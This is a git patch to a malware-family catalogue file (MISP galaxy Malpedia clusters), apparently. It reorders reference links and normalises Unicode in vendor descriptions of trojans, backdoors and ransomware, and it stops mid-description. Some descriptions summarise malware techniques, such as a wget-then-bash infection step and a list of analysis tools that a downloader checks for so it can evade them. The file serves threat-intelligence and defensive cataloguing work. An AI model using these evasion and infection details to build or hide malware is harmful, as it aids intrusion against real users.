"https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/", - "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", - "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns", - "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", - "https://twitter.com/VK_Intel/status/1294320579311435776", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt", + "https://labs.k7computing.com/?p=22458", + "https://noticeofpleadings.com/zloader/", + "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", + "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", + "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", + "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", + "https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html", + "https://twitter.com/VK_Intel/status/1294320579311435776", + "https://www.youtube.com/watch?v=QBoj6GB79wM", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/", + "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://www.youtube.com/watch?v=QBoj6GB79wM", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", + "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://twitter.com/ffforward/status/1324281530026524672", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", - "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", - "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", - "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://johannesbader.ch/blog/the-dga-of-zloader/", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/", + "https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks", + "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", + "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", + "https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://johannesbader.ch/blog/the-dga-of-zloader/", + "https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://www.youtube.com/watch?v=mhX-UoaYnOM", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", + "https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", + "https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://blog.alyac.co.kr/3322", + "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", "https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", - "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", - "https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/", - "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", - "https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1", - "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex" + "https://blag.nullteilerfrei.de/2020/06/11/api-hashing-in-the-zloader-malware/", + "https://blogs.quickheal.com/zloader-entailing-different-office-files/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries" ], "synonyms": [ "DELoader", @@ -52199,8 +54724,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek", - "https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/", - "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/" + "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/", + "https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/" ], "synonyms": [], "type": [] @@ -52243,21 +54768,22 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell", "https://content.fireeye.com/apt-41/rpt-apt41", - "https://attack.mitre.org/groups/G0096", - "https://lab52.io/blog/apt27-rootkit-updates/", - "https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html", "https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://github.com/smb01/zxshell", - "https://blogs.cisco.com/security/talos/opening-zxshell", - "https://attack.mitre.org/groups/G0001/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://attack.mitre.org/groups/G0096", + "https://risky.biz/whatiswinnti/", "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", - "https://risky.biz/whatiswinnti/" + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", + "https://github.com/smb01/zxshell", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor", + "https://blogs.cisco.com/security/talos/opening-zxshell", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://lab52.io/blog/apt27-rootkit-updates/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "Sensocode" @@ -52284,7 +54810,7 @@ "value": "ZxxZ" }, { - "description": "", + "description": "According to FireEye, Zyklon or Zyklon HTTP is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal. The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so. The malware can download several plugins, some of which include features such as cryptocurrency mining and password recovery, from browsers and email software. Zyklon also provides a very efficient mechanism to monitor the spread and impact.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon", @@ -52298,5 +54824,5 @@ "value": "Zyklon" } ], - "version": 17779 -} + "version": 19000 +} From 5d01afb537176bd841a6be37767213582366d6e2 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Tue, 26 Sep 2023 10:48:49 +0200 Subject: [PATCH 2/2] chg: [malpedia] jq all the things --- clusters/malpedia.json | 220 ++++++++++++++++++++--------------------- 1 file changed, 110 insertions(+), 110 deletions(-) diff --git a/clusters/malpedia.json b/clusters/malpedia.json index 46f5e103..29d50a21 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -1362,7 +1362,7 @@ "value": "FluBot" }, { - "description": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims\u2019 credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", + "description": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fluhorse", @@ -1851,7 +1851,7 @@ "value": "JadeRAT" }, { - "description": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google\u2019s official app store with the help of its trail signatures which includes updating the virus\u2019s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users\u2019 personal information including contact details, device data, WAP services, and SMS messages.", + "description": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google’s official app store with the help of its trail signatures which includes updating the virus’s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users’ personal information including contact details, device data, WAP services, and SMS messages.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker", @@ -2028,7 +2028,7 @@ "value": "Marcher" }, { - "description": "According to heimdal, MasterFred malware, this is designed as an Android trojan that makes use of false login overlays to target not only Netflix, Instagram, and Twitter users, but also bank customers. The hackers\u2019 goal is to steal credit card information.", + "description": "According to heimdal, MasterFred malware, this is designed as an Android trojan that makes use of false login overlays to target not only Netflix, Instagram, and Twitter users, but also bank customers. The hackers’ goal is to steal credit card information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.masterfred", @@ -2967,7 +2967,7 @@ "value": "Triada" }, { - "description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware\u2019s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.", + "description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout" @@ -4852,7 +4852,7 @@ "value": "FontOnLake" }, { - "description": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine\u2019s disk. ", + "description": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine’s disk. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog", @@ -5188,7 +5188,7 @@ "value": "Hive (ELF)" }, { - "description": "Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor \u201cCamaro Dragon\u201d, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities:\r\n* Remote shell: Execution of arbitrary shell commands on the infected router\r\n* File transfer: Upload and download files to and from the infected router.\r\n* SOCKS tunneling: Relay communication between different clients.", + "description": "Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor “Camaro Dragon”, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities:\r\n* Remote shell: Execution of arbitrary shell commands on the infected router\r\n* File transfer: Upload and download files to and from the infected router.\r\n* SOCKS tunneling: Relay communication between different clients.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.horseshell", @@ -5667,7 +5667,7 @@ "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/" ], "synonyms": [ - "M\u00e9lof\u00e9e" + "Mélofée" ], "type": [] }, @@ -6259,7 +6259,7 @@ "value": "pupy (ELF)" }, { - "description": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen\u2014naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet\u2014this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.", + "description": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt", @@ -6476,7 +6476,7 @@ "value": "RedAlert Ransomware" }, { - "description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan\u2019s configuration data is stored in a file encrypted with XOR algorithm", + "description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe", @@ -6945,7 +6945,7 @@ "value": "Sunless" }, { - "description": "Sustes Malware doesn\u2019t infect victims by itself (it\u2019s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software. ", + "description": "Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sustes", @@ -8072,7 +8072,7 @@ "value": "Ratty" }, { - "description": "Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (hxxps://sorillus[.]com). The tool supposedly costs 49.99\u20ac for lifetime access but is currently available at a discounted 19.99\u20ac. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as \"Tapt\", asserts that the tool is able to collect the following information from its target:\r\n- HardwareID\r\n- Username\r\n- Country\r\n- Language\r\n- Webcam\r\n- Headless\r\n- Operating system\r\n- Client Version", + "description": "Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (hxxps://sorillus[.]com). The tool supposedly costs 49.99€ for lifetime access but is currently available at a discounted 19.99€. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as \"Tapt\", asserts that the tool is able to collect the following information from its target:\r\n- HardwareID\r\n- Username\r\n- Country\r\n- Language\r\n- Webcam\r\n- Headless\r\n- Operating system\r\n- Client Version", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus", @@ -8173,7 +8173,7 @@ "value": "Bateleur" }, { - "description": "\u2022 BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n\u2022 Creating a Run key in the Registry\r\n\u2022 Creating a RunOnce key in the Registry\r\n\u2022 Creating a persistent named scheduled task\r\n\u2022 BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n", + "description": "• BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n• Creating a Run key in the Registry\r\n• Creating a RunOnce key in the Registry\r\n• Creating a persistent named scheduled task\r\n• BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop", @@ -8249,7 +8249,7 @@ "value": "CukieGrab" }, { - "description": "Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA f\u00fcr C&C.", + "description": "Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA für C&C.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman", @@ -8418,7 +8418,7 @@ "value": "grelos" }, { - "description": "GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim\u2019s computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.", + "description": "GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon", @@ -8692,7 +8692,7 @@ "value": "NodeRAT" }, { - "description": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor\u2019s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.", + "description": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor’s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap", @@ -9181,7 +9181,7 @@ "value": "CloudMensis" }, { - "description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn\u2019t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher\u2018s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim\u2019s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a \u201cPop-up blocker\u201d. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker\u2019s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim\u2019s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim\u2019s hard drive to a remote server\r\n- update itself to a newer version", + "description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn’t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim’s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim’s hard drive to a remote server\r\n- update itself to a newer version", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief", @@ -9355,7 +9355,7 @@ "value": "Dummy" }, { - "description": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim\u2019s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim\u2019s webcam\r\n- Sending emails with an attachment", + "description": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim’s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following 